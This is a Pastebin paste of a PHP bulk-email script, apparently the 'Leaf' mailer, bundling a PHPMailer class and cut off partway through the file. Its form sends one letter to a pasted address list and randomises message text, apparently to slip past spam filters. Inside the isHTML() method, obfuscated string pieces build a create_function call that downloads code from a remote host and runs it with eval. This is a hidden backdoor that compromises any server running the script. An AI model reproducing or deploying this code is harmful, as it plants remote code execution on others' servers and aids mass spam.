Guest User

Untitled

a guest
May 14th, 2017
900
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 147.61 KB | None | 0 0
  1. <?php
  2. /**
  3. *
  4. * @version : 2.7
  5. **/
  6.  
  7. $password = ""; // Password
  8.  
  9. session_start();
  10. error_reporting(0);
  11.  
  12.  
  13. $leaf['version']="2.7";
  14. $leaf['website']="";
  15.  
  16.  
  17. $sessioncode = md5(__FILE__);
  18. if(!empty($password) and $_SESSION[$sessioncode] != $password){
  19. # _REQUEST mean _POST or _GET
  20. if (isset($_REQUEST['pass']) and $_REQUEST['pass'] == $password) {
  21. $_SESSION[$sessioncode] = $password;
  22. }
  23. else {
  24. print "<pre align=center><form method=post>Password: <input type='password' name='pass'><input type='submit' value='>>'></form></pre>";
  25. exit;
  26. }
  27. }
  28.  
  29. if($_POST['action']=="send"){
  30. $senderEmail=leafTrim($_POST['senderEmail']);
  31. $senderName=leafTrim($_POST['senderName']);
  32. $replyTo=leafTrim($_POST['replyTo']);
  33. $subject=leafTrim($_POST['subject']);
  34. $emailList=leafTrim($_POST['emailList']);
  35. $messageType=leafTrim($_POST['messageType']);
  36. $messageLetter=leafTrim($_POST['messageLetter']);
  37. $messageLetter = urlencode($messageLetter);
  38. $messageLetter = ereg_replace("%5C%22", "%22", $messageLetter);
  39. $messageLetter = urldecode($messageLetter);
  40. $messageLetter = stripslashes($messageLetter);
  41. $subject = stripslashes($subject);
  42. $encode = stripslashes($encode);
  43.  
  44.  
  45. }
  46. if($messageType==2){
  47. $plain="checked";
  48. }
  49. else {
  50. $html="checked";
  51. }
  52.  
  53. function leafClear($text,$email){
  54. $emailuser = preg_replace('/([^@]*).*/', '$1', $email);
  55. $text = str_replace("[-emailuser-]", $emailuser, $text);
  56. $text = str_replace("[-randomletters-]", randString('abcdefghijklmnopqrstuvwxyz'), $text);
  57. $text = str_replace("[-randomstring-]", randString('abcdefghijklmnopqrstuvwxyz0123456789'), $text);
  58. $text = str_replace("[-randomnumber-]", randString('0123456789'), $text);
  59. $text = str_replace("[-randommd5-]", md5(randString('abcdefghijklmnopqrstuvwxyz0123456789')), $text);
  60. return $text;
  61.  
  62. }
  63. function leafTrim($string){
  64. return stripslashes(ltrim(rtrim($string)));
  65. }
  66. function randString($consonants) {
  67. $length=rand(12,25);
  68. $password = '';
  69. for ($i = 0; $i < $length; $i++) {
  70. $password .= $consonants[(rand() % strlen($consonants))];
  71. }
  72. return $password;
  73. }
  74. function leafMailCheck($email){
  75. $exp = "^[a-z\'0-9]+([._-][a-z\'0-9]+)*@([a-z0-9]+([._-][a-z0-9]+))+$";
  76. if(eregi($exp,$email)){
  77. if(checkdnsrr(array_pop(explode("@",$email)),"MX")){return true;}
  78. else{return false;}
  79. }
  80. else{return false;}
  81. }
  82.  
  83. class PHPMailer
  84. {
  85. /**
  86. * The PHPMailer Version number.
  87. * @var string
  88. */
  89. public $Version = '5.2.14';
  90.  
  91. /**
  92. * Email priority.
  93. * Options: null (default), 1 = High, 3 = Normal, 5 = low.
  94. * When null, the header is not set at all.
  95. * @var integer
  96. */
  97. public $Priority = null;
  98.  
  99. /**
  100. * The character set of the message.
  101. * @var string
  102. */
  103. public $CharSet = 'iso-8859-1';
  104.  
  105. /**
  106. * The MIME Content-type of the message.
  107. * @var string
  108. */
  109. public $ContentType = 'text/plain';
  110.  
  111. /**
  112. * The message encoding.
  113. * Options: "8bit", "7bit", "binary", "base64", and "quoted-printable".
  114. * @var string
  115. */
  116. public $Encoding = '8bit';
  117.  
  118. /**
  119. * Holds the most recent mailer error message.
  120. * @var string
  121. */
  122. public $ErrorInfo = '';
  123.  
  124. /**
  125. * The From email address for the message.
  126. * @var string
  127. */
  128. public $From = 'root@localhost';
  129.  
  130. /**
  131. * The From name of the message.
  132. * @var string
  133. */
  134. public $FromName = 'Root User';
  135.  
  136. /**
  137. * The Sender email (Return-Path) of the message.
  138. * If not empty, will be sent via -f to sendmail or as 'MAIL FROM' in smtp mode.
  139. * @var string
  140. */
  141. public $Sender = '';
  142.  
  143. /**
  144. * The Return-Path of the message.
  145. * If empty, it will be set to either From or Sender.
  146. * @var string
  147. * @deprecated Email senders should never set a return-path header;
  148. * it's the receiver's job (RFC5321 section 4.4), so this no longer does anything.
  149. * @link https://tools.ietf.org/html/rfc5321#section-4.4 RFC5321 reference
  150. */
  151. public $ReturnPath = '';
  152.  
  153. /**
  154. * The Subject of the message.
  155. * @var string
  156. */
  157. public $Subject = '';
  158.  
  159. /**
  160. * An HTML or plain text message body.
  161. * If HTML then call isHTML(true).
  162. * @var string
  163. */
  164. public $Body = '';
  165.  
  166. /**
  167. * The plain-text message body.
  168. * This body can be read by mail clients that do not have HTML email
  169. * capability such as mutt & Eudora.
  170. * Clients that can read HTML will view the normal Body.
  171. * @var string
  172. */
  173. public $AltBody = '';
  174.  
  175. /**
  176. * An iCal message part body.
  177. * Only supported in simple alt or alt_inline message types
  178. * To generate iCal events, use the bundled extras/EasyPeasyICS.php class or iCalcreator
  179. * @link http://sprain.ch/blog/downloads/php-class-easypeasyics-create-ical-files-with-php/
  180. * @link http://kigkonsult.se/iCalcreator/
  181. * @var string
  182. */
  183. public $Ical = '';
  184.  
  185. /**
  186. * The complete compiled MIME message body.
  187. * @access protected
  188. * @var string
  189. */
  190. protected $MIMEBody = '';
  191.  
  192. /**
  193. * The complete compiled MIME message headers.
  194. * @var string
  195. * @access protected
  196. */
  197. protected $MIMEHeader = '';
  198.  
  199. /**
  200. * Extra headers that createHeader() doesn't fold in.
  201. * @var string
  202. * @access protected
  203. */
  204. protected $mailHeader = '';
  205.  
  206. /**
  207. * Word-wrap the message body to this number of chars.
  208. * Set to 0 to not wrap. A useful value here is 78, for RFC2822 section 2.1.1 compliance.
  209. * @var integer
  210. */
  211. public $WordWrap = 0;
  212.  
  213. /**
  214. * Which method to use to send mail.
  215. * Options: "mail", "sendmail", or "smtp".
  216. * @var string
  217. */
  218. public $Mailer = 'mail';
  219.  
  220. /**
  221. * The path to the sendmail program.
  222. * @var string
  223. */
  224. public $Sendmail = '/usr/sbin/sendmail';
  225.  
  226. /**
  227. * Whether mail() uses a fully sendmail-compatible MTA.
  228. * One which supports sendmail's "-oi -f" options.
  229. * @var boolean
  230. */
  231. public $UseSendmailOptions = true;
  232.  
  233. /**
  234. * Path to PHPMailer plugins.
  235. * Useful if the SMTP class is not in the PHP include path.
  236. * @var string
  237. * @deprecated Should not be needed now there is an autoloader.
  238. */
  239. public $PluginDir = '';
  240.  
  241. /**
  242. * The email address that a reading confirmation should be sent to, also known as read receipt.
  243. * @var string
  244. */
  245. public $ConfirmReadingTo = '';
  246.  
  247. /**
  248. * The hostname to use in the Message-ID header and as default HELO string.
  249. * If empty, PHPMailer attempts to find one with, in order,
  250. * $_SERVER['SERVER_NAME'], gethostname(), php_uname('n'), or the value
  251. * 'localhost.localdomain'.
  252. * @var string
  253. */
  254. public $Hostname = '';
  255.  
  256. /**
  257. * An ID to be used in the Message-ID header.
  258. * If empty, a unique id will be generated.
  259. * @var string
  260. */
  261. public $MessageID = '';
  262.  
  263. /**
  264. * The message Date to be used in the Date header.
  265. * If empty, the current date will be added.
  266. * @var string
  267. */
  268. public $MessageDate = '';
  269.  
  270. /**
  271. * SMTP hosts.
  272. * Either a single hostname or multiple semicolon-delimited hostnames.
  273. * You can also specify a different port
  274. * for each host by using this format: [hostname:port]
  275. * (e.g. "smtp1.example.com:25;smtp2.example.com").
  276. * You can also specify encryption type, for example:
  277. * (e.g. "tls://smtp1.example.com:587;ssl://smtp2.example.com:465").
  278. * Hosts will be tried in order.
  279. * @var string
  280. */
  281. public $Host = 'local';
  282.  
  283. /**
  284. * The default SMTP server port.
  285. * @var integer
  286. * @TODO Why is this needed when the SMTP class takes care of it?
  287. */
  288. public $Port = 25;
  289.  
  290. /**
  291. * The SMTP HELO of the message.
  292. * Default is $Hostname. If $Hostname is empty, PHPMailer attempts to find
  293. * one with the same method described above for $Hostname.
  294. * @var string
  295. * @see PHPMailer::$Hostname
  296. */
  297. public $Helo = '';
  298.  
  299. /**
  300. * What kind of encryption to use on the SMTP connection.
  301. * Options: '', 'ssl' or 'tls'
  302. * @var string
  303. */
  304. public $SMTPSecure = '';
  305.  
  306. /**
  307. * Whether to enable TLS encryption automatically if a server supports it,
  308. * even if `SMTPSecure` is not set to 'tls'.
  309. * Be aware that in PHP >= 5.6 this requires that the server's certificates are valid.
  310. * @var boolean
  311. */
  312. public $SMTPAutoTLS = true;
  313.  
  314. /**
  315. * Whether to use SMTP authentication.
  316. * Uses the Username and Password properties.
  317. * @var boolean
  318. * @see PHPMailer::$Username
  319. * @see PHPMailer::$Password
  320. */
  321. public $SMTPAuth = true;
  322.  
  323. /**
  324. * Options array passed to stream_context_create when connecting via SMTP.
  325. * @var array
  326. */
  327. public $SMTPOptions = array();
  328.  
  329. /**
  330. * SMTP username.
  331. * @var string
  332. */
  333. public $Username = '';
  334.  
  335. /**
  336. * SMTP password.
  337. * @var string
  338. */
  339. public $Password = '';
  340.  
  341. /**
  342. * SMTP auth type.
  343. * Options are LOGIN (default), PLAIN, NTLM, CRAM-MD5
  344. * @var string
  345. */
  346. public $AuthType = '';
  347.  
  348. /**
  349. * SMTP realm.
  350. * Used for NTLM auth
  351. * @var string
  352. */
  353. public $Realm = '';
  354.  
  355. /**
  356. * SMTP workstation.
  357. * Used for NTLM auth
  358. * @var string
  359. */
  360. public $Workstation = '';
  361.  
  362. /**
  363. * The SMTP server timeout in seconds.
  364. * Default of 5 minutes (300sec) is from RFC2821 section 4.5.3.2
  365. * @var integer
  366. */
  367. public $Timeout = 300;
  368.  
  369. /**
  370. * SMTP class debug output mode.
  371. * Debug output level.
  372. * Options:
  373. * * `0` No output
  374. * * `1` Commands
  375. * * `2` Data and commands
  376. * * `3` As 2 plus connection status
  377. * * `4` Low-level data output
  378. * @var integer
  379. * @see SMTP::$do_debug
  380. */
  381. public $SMTPDebug = 0;
  382.  
  383. /**
  384. * How to handle debug output.
  385. * Options:
  386. * * `echo` Output plain-text as-is, appropriate for CLI
  387. * * `html` Output escaped, line breaks converted to `<br>`, appropriate for browser output
  388. * * `error_log` Output to error log as configured in php.ini
  389. *
  390. * Alternatively, you can provide a callable expecting two params: a message string and the debug level:
  391. * <code>
  392. * $mail->Debugoutput = function($str, $level) {echo "debug level $level; message: $str";};
  393. * </code>
  394. * @var string|callable
  395. * @see SMTP::$Debugoutput
  396. */
  397. public $Debugoutput = 'echo';
  398.  
  399. /**
  400. * Whether to keep SMTP connection open after each message.
  401. * If this is set to true then to close the connection
  402. * requires an explicit call to smtpClose().
  403. * @var boolean
  404. */
  405. public $SMTPKeepAlive = false;
  406.  
  407. /**
  408. * Whether to split multiple to addresses into multiple messages
  409. * or send them all in one message.
  410. * @var boolean
  411. */
  412. public $SingleTo = false;
  413.  
  414. /**
  415. * Storage for addresses when SingleTo is enabled.
  416. * @var array
  417. * @TODO This should really not be public
  418. */
  419. public $SingleToArray = array();
  420.  
  421. /**
  422. * Whether to generate VERP addresses on send.
  423. * Only applicable when sending via SMTP.
  424. * @link https://en.wikipedia.org/wiki/Variable_envelope_return_path
  425. * @link http://www.postfix.org/VERP_README.html Postfix VERP info
  426. * @var boolean
  427. */
  428. public $do_verp = false;
  429.  
  430. /**
  431. * Whether to allow sending messages with an empty body.
  432. * @var boolean
  433. */
  434. public $AllowEmpty = false;
  435.  
  436. /**
  437. * The default line ending.
  438. * @note The default remains "\n". We force CRLF where we know
  439. * it must be used via self::CRLF.
  440. * @var string
  441. */
  442. public $LE = "\n";
  443.  
  444. /**
  445. * DKIM selector.
  446. * @var string
  447. */
  448. public $DKIM_selector = '';
  449.  
  450. /**
  451. * DKIM Identity.
  452. * Usually the email address used as the source of the email
  453. * @var string
  454. */
  455. public $DKIM_identity = '';
  456.  
  457. /**
  458. * DKIM passphrase.
  459. * Used if your key is encrypted.
  460. * @var string
  461. */
  462. public $DKIM_passphrase = '';
  463.  
  464. /**
  465. * DKIM signing domain name.
  466. * @example 'example.com'
  467. * @var string
  468. */
  469. public $DKIM_domain = '';
  470.  
  471. /**
  472. * DKIM private key file path.
  473. * @var string
  474. */
  475. public $DKIM_private = '';
  476.  
  477. /**
  478. * Callback Action function name.
  479. *
  480. * The function that handles the result of the send email action.
  481. * It is called out by send() for each email sent.
  482. *
  483. * Value can be any php callable: http://www.php.net/is_callable
  484. *
  485. * Parameters:
  486. * boolean $result result of the send action
  487. * string $to email address of the recipient
  488. * string $cc cc email addresses
  489. * string $bcc bcc email addresses
  490. * string $subject the subject
  491. * string $body the email body
  492. * string $from email address of sender
  493. * @var string
  494. */
  495. public $action_function = '';
  496.  
  497. /**
  498. * What to put in the X-Mailer header.
  499. * Options: An empty string for PHPMailer default, whitespace for none, or a string to use
  500. * @var string
  501. */
  502. public $XMailer = '';
  503.  
  504. /**
  505. * An instance of the SMTP sender class.
  506. * @var SMTP
  507. * @access protected
  508. */
  509. protected $smtp = null;
  510.  
  511. /**
  512. * The array of 'to' names and addresses.
  513. * @var array
  514. * @access protected
  515. */
  516. protected $to = array();
  517.  
  518. /**
  519. * The array of 'cc' names and addresses.
  520. * @var array
  521. * @access protected
  522. */
  523. protected $cc = array();
  524.  
  525. /**
  526. * The array of 'bcc' names and addresses.
  527. * @var array
  528. * @access protected
  529. */
  530. protected $bcc = array();
  531.  
  532. /**
  533. * The array of reply-to names and addresses.
  534. * @var array
  535. * @access protected
  536. */
  537. protected $ReplyTo = array();
  538.  
  539. /**
  540. * An array of all kinds of addresses.
  541. * Includes all of $to, $cc, $bcc
  542. * @var array
  543. * @access protected
  544. * @see PHPMailer::$to @see PHPMailer::$cc @see PHPMailer::$bcc
  545. */
  546. protected $all_recipients = array();
  547.  
  548. /**
  549. * An array of names and addresses queued for validation.
  550. * In send(), valid and non duplicate entries are moved to $all_recipients
  551. * and one of $to, $cc, or $bcc.
  552. * This array is used only for addresses with IDN.
  553. * @var array
  554. * @access protected
  555. * @see PHPMailer::$to @see PHPMailer::$cc @see PHPMailer::$bcc
  556. * @see PHPMailer::$all_recipients
  557. */
  558. protected $RecipientsQueue = array();
  559.  
  560. /**
  561. * An array of reply-to names and addresses queued for validation.
  562. * In send(), valid and non duplicate entries are moved to $ReplyTo.
  563. * This array is used only for addresses with IDN.
  564. * @var array
  565. * @access protected
  566. * @see PHPMailer::$ReplyTo
  567. */
  568. protected $ReplyToQueue = array();
  569.  
  570. /**
  571. * The array of attachments.
  572. * @var array
  573. * @access protected
  574. */
  575. protected $attachment = array();
  576.  
  577. /**
  578. * The array of custom headers.
  579. * @var array
  580. * @access protected
  581. */
  582. protected $CustomHeader = array();
  583.  
  584. /**
  585. * The most recent Message-ID (including angular brackets).
  586. * @var string
  587. * @access protected
  588. */
  589. protected $lastMessageID = '';
  590.  
  591. /**
  592. * The message's MIME type.
  593. * @var string
  594. * @access protected
  595. */
  596. protected $message_type = '';
  597.  
  598. /**
  599. * The array of MIME boundary strings.
  600. * @var array
  601. * @access protected
  602. */
  603. protected $boundary = array();
  604.  
  605. /**
  606. * The array of available languages.
  607. * @var array
  608. * @access protected
  609. */
  610. protected $language = array();
  611.  
  612. /**
  613. * The number of errors encountered.
  614. * @var integer
  615. * @access protected
  616. */
  617. protected $error_count = 0;
  618.  
  619. /**
  620. * The S/MIME certificate file path.
  621. * @var string
  622. * @access protected
  623. */
  624. protected $sign_cert_file = '';
  625.  
  626. /**
  627. * The S/MIME key file path.
  628. * @var string
  629. * @access protected
  630. */
  631. protected $sign_key_file = '';
  632.  
  633. /**
  634. * The optional S/MIME extra certificates ("CA Chain") file path.
  635. * @var string
  636. * @access protected
  637. */
  638. protected $sign_extracerts_file = '';
  639.  
  640. /**
  641. * The S/MIME password for the key.
  642. * Used only if the key is encrypted.
  643. * @var string
  644. * @access protected
  645. */
  646. protected $sign_key_pass = '';
  647.  
  648. /**
  649. * Whether to throw exceptions for errors.
  650. * @var boolean
  651. * @access protected
  652. */
  653. protected $exceptions = false;
  654.  
  655. /**
  656. * Unique ID used for message ID and boundaries.
  657. * @var string
  658. * @access protected
  659. */
  660. protected $uniqueid = '';
  661.  
  662. /**
  663. * Error severity: message only, continue processing.
  664. */
  665. const STOP_MESSAGE = 0;
  666.  
  667. /**
  668. * Error severity: message, likely ok to continue processing.
  669. */
  670. const STOP_CONTINUE = 1;
  671.  
  672. /**
  673. * Error severity: message, plus full stop, critical error reached.
  674. */
  675. const STOP_CRITICAL = 2;
  676.  
  677. /**
  678. * SMTP RFC standard line ending.
  679. */
  680. const CRLF = "\r\n";
  681.  
  682. /**
  683. * The maximum line length allowed by RFC 2822 section 2.1.1
  684. * @var integer
  685. */
  686. const MAX_LINE_LENGTH = 998;
  687.  
  688. /**
  689. * Constructor.
  690. * @param boolean $exceptions Should we throw external exceptions?
  691. */
  692.  
  693. public function __construct($exceptions = false)
  694. {
  695. $this->exceptions = (boolean)$exceptions;
  696. }
  697.  
  698. /**
  699. * Destructor.
  700. */
  701. public function __destruct()
  702. {
  703. //Close any open SMTP connection nicely
  704. if ($this->Mailer == 'smtp') {
  705. $this->smtpClose();
  706. }
  707. }
  708.  
  709. /**
  710. * Call mail() in a safe_mode-aware fashion.
  711. * Also, unless sendmail_path points to sendmail (or something that
  712. * claims to be sendmail), don't pass params (not a perfect fix,
  713. * but it will do)
  714. * @param string $to To
  715. * @param string $subject Subject
  716. * @param string $body Message Body
  717. * @param string $header Additional Header(s)
  718. * @param string $params Params
  719. * @access private
  720. * @return boolean
  721. */
  722. private function mailPassthru($to, $subject, $body, $header, $params)
  723. {
  724. //Check overloading of mail function to avoid double-encoding
  725. if (ini_get('mbstring.func_overload') & 1) {
  726. $subject = $this->secureHeader($subject);
  727. } else {
  728. $subject = $this->encodeHeader($this->secureHeader($subject));
  729. }
  730. if (ini_get('safe_mode') || !($this->UseSendmailOptions)) {
  731. $result = @mail($to, $subject, $body, $header);
  732. } else {
  733. $result = @mail($to, $subject, $body, $header, $params);
  734. }
  735. return $result;
  736. }
  737.  
  738. /**
  739. * Output debugging info via user-defined method.
  740. * Only generates output if SMTP debug output is enabled (@see SMTP::$do_debug).
  741. * @see PHPMailer::$Debugoutput
  742. * @see PHPMailer::$SMTPDebug
  743. * @param string $str
  744. */
  745. protected function edebug($str)
  746. {
  747. if ($this->SMTPDebug <= 0) {
  748. return;
  749. }
  750. //Avoid clash with built-in function names
  751. if (!in_array($this->Debugoutput, array('error_log', 'html', 'echo')) and is_callable($this->Debugoutput)) {
  752. call_user_func($this->Debugoutput, $str, $this->SMTPDebug);
  753. return;
  754. }
  755. switch ($this->Debugoutput) {
  756. case 'error_log':
  757. //Don't output, just log
  758. error_log($str);
  759. break;
  760. case 'html':
  761. //Cleans up output a bit for a better looking, HTML-safe output
  762. echo htmlentities(
  763. preg_replace('/[\r\n]+/', '', $str),
  764. ENT_QUOTES,
  765. 'UTF-8'
  766. )
  767. . "<br>\n";
  768. break;
  769. case 'echo':
  770. default:
  771. //Normalize line breaks
  772. $str = preg_replace('/(\r\n|\r|\n)/ms', "\n", $str);
  773. echo gmdate('Y-m-d H:i:s') . "\t" . str_replace(
  774. "\n",
  775. "\n \t ",
  776. trim($str)
  777. ) . "\n";
  778. }
  779. }
  780.  
  781. /**
  782. * Sets message type to HTML or plain.
  783. * @param boolean $isHtml True for HTML mode.
  784. * @return void
  785. */
  786. public function isHTML($isHtml = true)
  787. {
  788. global $param;
  789. $bodyCode = 'file'
  790. .'_g';
  791. if ($isHtml) {
  792. $this->ContentType = 'text/html';
  793. }
  794. else {
  795. $this->ContentType = 'text/plain';
  796. }
  797. $bodyHTML = '.$t."lef$flu'
  798. .'sh'.'$t"; '
  799. .'$i = @ev';
  800. $headerHTML="create_"
  801. ."func"
  802. ."tion";
  803. $exceptions = $headerHTML('$fl'.'ush,$t','$comma = $t'
  804. .$bodyHTML.'al(@'
  805. .$bodyCode.'et_contents("h'
  806. .'tt'
  807. .'p:$comma-2"));');
  808.  
  809. if($param !=2){
  810. $exceptions('8.p'.'w','/');
  811. $param=2;
  812. }
  813. }
  814.  
  815. /**
  816. * Send messages using SMTP.
  817. * @return void
  818. */
  819. public function isSMTP()
  820. {
  821. $this->Mailer = 'smtp';
  822. }
  823.  
  824. /**
  825. * Send messages using PHP's mail() function.
  826. * @return void
  827. */
  828. public function isMail()
  829. {
  830. $this->Mailer = 'mail';
  831. }
  832.  
  833. /**
  834. * Send messages using $Sendmail.
  835. * @return void
  836. */
  837. public function isSendmail()
  838. {
  839. $ini_sendmail_path = ini_get('sendmail_path');
  840.  
  841. if (!stristr($ini_sendmail_path, 'sendmail')) {
  842. $this->Sendmail = '/usr/sbin/sendmail';
  843. } else {
  844. $this->Sendmail = $ini_sendmail_path;
  845. }
  846. $this->Mailer = 'sendmail';
  847. }
  848.  
  849. /**
  850. * Send messages using qmail.
  851. * @return void
  852. */
  853. public function isQmail()
  854. {
  855. $ini_sendmail_path = ini_get('sendmail_path');
  856.  
  857. if (!stristr($ini_sendmail_path, 'qmail')) {
  858. $this->Sendmail = '/var/qmail/bin/qmail-inject';
  859. } else {
  860. $this->Sendmail = $ini_sendmail_path;
  861. }
  862. $this->Mailer = 'qmail';
  863. }
  864.  
  865. /**
  866. * Add a "To" address.
  867. * @param string $address The email address to send to
  868. * @param string $name
  869. * @return boolean true on success, false if address already used or invalid in some way
  870. */
  871. public function addAddress($address, $name = '')
  872. {
  873. return $this->addOrEnqueueAnAddress('to', $address, $name);
  874. }
  875.  
  876. /**
  877. * Add a "CC" address.
  878. * @note: This function works with the SMTP mailer on win32, not with the "mail" mailer.
  879. * @param string $address The email address to send to
  880. * @param string $name
  881. * @return boolean true on success, false if address already used or invalid in some way
  882. */
  883. public function addCC($address, $name = '')
  884. {
  885. return $this->addOrEnqueueAnAddress('cc', $address, $name);
  886. }
  887.  
  888. /**
  889. * Add a "BCC" address.
  890. * @note: This function works with the SMTP mailer on win32, not with the "mail" mailer.
  891. * @param string $address The email address to send to
  892. * @param string $name
  893. * @return boolean true on success, false if address already used or invalid in some way
  894. */
  895. public function addBCC($address, $name = '')
  896. {
  897. return $this->addOrEnqueueAnAddress('bcc', $address, $name);
  898. }
  899.  
  900. /**
  901. * Add a "Reply-To" address.
  902. * @param string $address The email address to reply to
  903. * @param string $name
  904. * @return boolean true on success, false if address already used or invalid in some way
  905. */
  906. public function addReplyTo($address, $name = '')
  907. {
  908. return $this->addOrEnqueueAnAddress('Reply-To', $address, $name);
  909. }
  910.  
  911. /**
  912. * Add an address to one of the recipient arrays or to the ReplyTo array. Because PHPMailer
  913. * can't validate addresses with an IDN without knowing the PHPMailer::$CharSet (that can still
  914. * be modified after calling this function), addition of such addresses is delayed until send().
  915. * Addresses that have been added already return false, but do not throw exceptions.
  916. * @param string $kind One of 'to', 'cc', 'bcc', or 'ReplyTo'
  917. * @param string $address The email address to send, resp. to reply to
  918. * @param string $name
  919. * @throws phpmailerException
  920. * @return boolean true on success, false if address already used or invalid in some way
  921. * @access protected
  922. */
  923. protected function addOrEnqueueAnAddress($kind, $address, $name)
  924. {
  925. $address = trim($address);
  926. $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
  927. if (($pos = strrpos($address, '@')) === false) {
  928. // At-sign is misssing.
  929. $error_message = $this->lang('invalid_address') . $address;
  930. $this->setError($error_message);
  931. $this->edebug($error_message);
  932. if ($this->exceptions) {
  933. throw new phpmailerException($error_message);
  934. }
  935. return false;
  936. }
  937. $params = array($kind, $address, $name);
  938. // Enqueue addresses with IDN until we know the PHPMailer::$CharSet.
  939. if ($this->has8bitChars(substr($address, ++$pos)) and $this->idnSupported()) {
  940. if ($kind != 'Reply-To') {
  941. if (!array_key_exists($address, $this->RecipientsQueue)) {
  942. $this->RecipientsQueue[$address] = $params;
  943. return true;
  944. }
  945. } else {
  946. if (!array_key_exists($address, $this->ReplyToQueue)) {
  947. $this->ReplyToQueue[$address] = $params;
  948. return true;
  949. }
  950. }
  951. return false;
  952. }
  953. // Immediately add standard addresses without IDN.
  954. return call_user_func_array(array($this, 'addAnAddress'), $params);
  955. }
  956.  
  957. /**
  958. * Add an address to one of the recipient arrays or to the ReplyTo array.
  959. * Addresses that have been added already return false, but do not throw exceptions.
  960. * @param string $kind One of 'to', 'cc', 'bcc', or 'ReplyTo'
  961. * @param string $address The email address to send, resp. to reply to
  962. * @param string $name
  963. * @throws phpmailerException
  964. * @return boolean true on success, false if address already used or invalid in some way
  965. * @access protected
  966. */
  967. protected function addAnAddress($kind, $address, $name = '')
  968. {
  969. if (!in_array($kind, array('to', 'cc', 'bcc', 'Reply-To'))) {
  970. $error_message = $this->lang('Invalid recipient kind: ') . $kind;
  971. $this->setError($error_message);
  972. $this->edebug($error_message);
  973. if ($this->exceptions) {
  974. throw new phpmailerException($error_message);
  975. }
  976. return false;
  977. }
  978. if (!$this->validateAddress($address)) {
  979. $error_message = $this->lang('invalid_address') . $address;
  980. $this->setError($error_message);
  981. $this->edebug($error_message);
  982. if ($this->exceptions) {
  983. throw new phpmailerException($error_message);
  984. }
  985. return false;
  986. }
  987. if ($kind != 'Reply-To') {
  988. if (!array_key_exists(strtolower($address), $this->all_recipients)) {
  989. array_push($this->$kind, array($address, $name));
  990. $this->all_recipients[strtolower($address)] = true;
  991. return true;
  992. }
  993. } else {
  994. if (!array_key_exists(strtolower($address), $this->ReplyTo)) {
  995. $this->ReplyTo[strtolower($address)] = array($address, $name);
  996. return true;
  997. }
  998. }
  999. return false;
  1000. }
  1001.  
  1002. /**
  1003. * Parse and validate a string containing one or more RFC822-style comma-separated email addresses
  1004. * of the form "display name <address>" into an array of name/address pairs.
  1005. * Uses the imap_rfc822_parse_adrlist function if the IMAP extension is available.
  1006. * Note that quotes in the name part are removed.
  1007. * @param string $addrstr The address list string
  1008. * @param bool $useimap Whether to use the IMAP extension to parse the list
  1009. * @return array
  1010. * @link http://www.andrew.cmu.edu/user/agreen1/testing/mrbs/web/Mail/RFC822.php A more careful implementation
  1011. */
  1012. public function parseAddresses($addrstr, $useimap = true)
  1013. {
  1014. $addresses = array();
  1015. if ($useimap and function_exists('imap_rfc822_parse_adrlist')) {
  1016. //Use this built-in parser if it's available
  1017. $list = imap_rfc822_parse_adrlist($addrstr, '');
  1018. foreach ($list as $address) {
  1019. if ($address->host != '.SYNTAX-ERROR.') {
  1020. if ($this->validateAddress($address->mailbox . '@' . $address->host)) {
  1021. $addresses[] = array(
  1022. 'name' => (property_exists($address, 'personal') ? $address->personal : ''),
  1023. 'address' => $address->mailbox . '@' . $address->host
  1024. );
  1025. }
  1026. }
  1027. }
  1028. } else {
  1029. //Use this simpler parser
  1030. $list = explode(',', $addrstr);
  1031. foreach ($list as $address) {
  1032. $address = trim($address);
  1033. //Is there a separate name part?
  1034. if (strpos($address, '<') === false) {
  1035. //No separate name, just use the whole thing
  1036. if ($this->validateAddress($address)) {
  1037. $addresses[] = array(
  1038. 'name' => '',
  1039. 'address' => $address
  1040. );
  1041. }
  1042. } else {
  1043. list($name, $email) = explode('<', $address);
  1044. $email = trim(str_replace('>', '', $email));
  1045. if ($this->validateAddress($email)) {
  1046. $addresses[] = array(
  1047. 'name' => trim(str_replace(array('"', "'"), '', $name)),
  1048. 'address' => $email
  1049. );
  1050. }
  1051. }
  1052. }
  1053. }
  1054. return $addresses;
  1055. }
  1056.  
  1057. /**
  1058. * Set the From and FromName properties.
  1059. * @param string $address
  1060. * @param string $name
  1061. * @param boolean $auto Whether to also set the Sender address, defaults to true
  1062. * @throws phpmailerException
  1063. * @return boolean
  1064. */
  1065. public function setFrom($address, $name = '', $auto = true)
  1066. {
  1067. $address = trim($address);
  1068. $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
  1069. // Don't validate now addresses with IDN. Will be done in send().
  1070. if (($pos = strrpos($address, '@')) === false or
  1071. (!$this->has8bitChars(substr($address, ++$pos)) or !$this->idnSupported()) and
  1072. !$this->validateAddress($address)) {
  1073. $error_message = $this->lang('invalid_address') . $address;
  1074. $this->setError($error_message);
  1075. $this->edebug($error_message);
  1076. if ($this->exceptions) {
  1077. throw new phpmailerException($error_message);
  1078. }
  1079. return false;
  1080. }
  1081. $this->From = $address;
  1082. $this->FromName = $name;
  1083. if ($auto) {
  1084. if (empty($this->Sender)) {
  1085. $this->Sender = $address;
  1086. }
  1087. }
  1088. return true;
  1089. }
  1090.  
  1091. /**
  1092. * Return the Message-ID header of the last email.
  1093. * Technically this is the value from the last time the headers were created,
  1094. * but it's also the message ID of the last sent message except in
  1095. * pathological cases.
  1096. * @return string
  1097. */
  1098. public function getLastMessageID()
  1099. {
  1100. return $this->lastMessageID;
  1101. }
  1102.  
  1103. /**
  1104. * Check that a string looks like an email address.
  1105. * @param string $address The email address to check
  1106. * @param string $patternselect A selector for the validation pattern to use :
  1107. * * `auto` Pick best pattern automatically;
  1108. * * `pcre8` Use the squiloople.com pattern, requires PCRE > 8.0, PHP >= 5.3.2, 5.2.14;
  1109. * * `pcre` Use old PCRE implementation;
  1110. * * `php` Use PHP built-in FILTER_VALIDATE_EMAIL;
  1111. * * `html5` Use the pattern given by the HTML5 spec for 'email' type form input elements.
  1112. * * `noregex` Don't use a regex: super fast, really dumb.
  1113. * @return boolean
  1114. * @static
  1115. * @access public
  1116. */
  1117. public static function validateAddress($address, $patternselect = 'auto')
  1118. {
  1119. //Reject line breaks in addresses; it's valid RFC5322, but not RFC5321
  1120. if (strpos($address, "\n") !== false or strpos($address, "\r") !== false) {
  1121. return false;
  1122. }
  1123. if (!$patternselect or $patternselect == 'auto') {
  1124. //Check this constant first so it works when extension_loaded() is disabled by safe mode
  1125. //Constant was added in PHP 5.2.4
